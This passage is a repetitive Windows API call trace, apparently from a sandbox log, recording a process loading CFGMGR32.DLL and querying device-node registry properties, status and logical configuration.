(hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.622] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.622] malloc (_Size=0x18) returned 0x196ef0d1de0 [0219.623] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0219.623] malloc (_Size=0x90) returned 0x196ef0d5b40 [0219.623] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d5b40, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d5b40, pulLength=0x67117d608) returned 0x0 [0219.623] free (_Block=0x196ef0d5b40) [0219.623] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0219.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x63c1dd7a, dwHighDateTime=0x1d9eb0c)) [0219.624] SetEvent (hEvent=0x248) returned 1 [0219.688] malloc (_Size=0x18) returned 0x196ef0d1b40 [0219.688] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7ba838) returned 0x0 [0219.688] free (_Block=0x196ef0d1b40) [0219.688] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0219.688] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0219.688] free (_Block=0x196ef0d1fa0) [0219.688] malloc (_Size=0x18) returned 0x196ef0d2060 [0219.688] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0219.688] free (_Block=0x196ef0d2060) [0219.688] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855e60 [0219.688] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0219.688] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0219.688] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0219.688] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0219.688] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0219.688] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0219.689] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0219.689] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0219.689] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e510, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0219.690] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e518, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0219.690] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e520, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0219.690] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0219.691] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855e60) returned 1 [0219.691] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.691] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.694] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.695] malloc (_Size=0x18) returned 0x196ef0d1e60 [0219.695] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.698] malloc (_Size=0x48) returned 0x196ef0fbc20 [0219.698] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63cdca0f, dwHighDateTime=0x1d9eb0c)) [0219.699] SetEvent (hEvent=0x248) returned 1 [0219.703] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.703] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.703] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.703] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.703] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.703] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.704] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.705] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.706] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.707] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.707] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0219.707] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.707] malloc (_Size=0x48) returned 0x196ef0fbae0 [0219.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63d02b25, dwHighDateTime=0x1d9eb0c)) [0219.708] SetEvent (hEvent=0x248) returned 1 [0219.712] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.712] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.712] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.712] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.712] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.712] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.713] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.714] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.715] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.715] malloc (_Size=0x18) returned 0x196ef0d1be0 [0219.715] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.716] malloc (_Size=0x48) returned 0x196ef0fc080 [0219.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63d02b25, dwHighDateTime=0x1d9eb0c)) [0219.716] SetEvent (hEvent=0x248) returned 1 [0219.741] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.741] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.742] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.743] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.744] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.745] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.745] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.745] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.745] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.745] malloc (_Size=0x18) returned 0x196ef0d20e0 [0219.745] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.746] malloc (_Size=0x48) returned 0x196ef0fbc70 [0219.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63d4f01b, dwHighDateTime=0x1d9eb0c)) [0219.746] SetEvent (hEvent=0x248) returned 1 [0219.824] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.824] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.824] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.825] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.825] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.825] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.825] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.826] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.827] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.828] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.829] malloc (_Size=0x18) returned 0x196ef0d1b00 [0219.829] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0219.834] malloc (_Size=0x48) returned 0x196ef0fb310 [0219.834] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x63e33d72, dwHighDateTime=0x1d9eb0c)) [0219.834] SetEvent (hEvent=0x248) returned 1 [0219.839] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.839] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.841] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.842] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.842] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.842] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.842] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.842] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.843] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.843] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.843] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.843] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.843] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.843] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.844] malloc (_Size=0x18) returned 0x196ef0d20c0 [0219.844] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x13, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0219.844] malloc (_Size=0x48) returned 0x196ef0fbd60 [0219.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x63e33d72, dwHighDateTime=0x1d9eb0c)) [0219.844] SetEvent (hEvent=0x248) returned 1 [0219.850] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.850] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0219.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0219.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0219.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0219.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0219.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0219.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0219.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0219.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0219.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0219.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0219.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0219.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0219.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0219.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0219.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0219.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0219.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0219.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0219.854] malloc (_Size=0x18) returned 0x196ef0d1e60 [0219.855] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x13, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0219.855] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0219.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x63e5a2a9, dwHighDateTime=0x1d9eb0c)) [0219.855] SetEvent (hEvent=0x248) returned 1 [0219.859] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0219.860] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0219.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0219.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0219.860] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 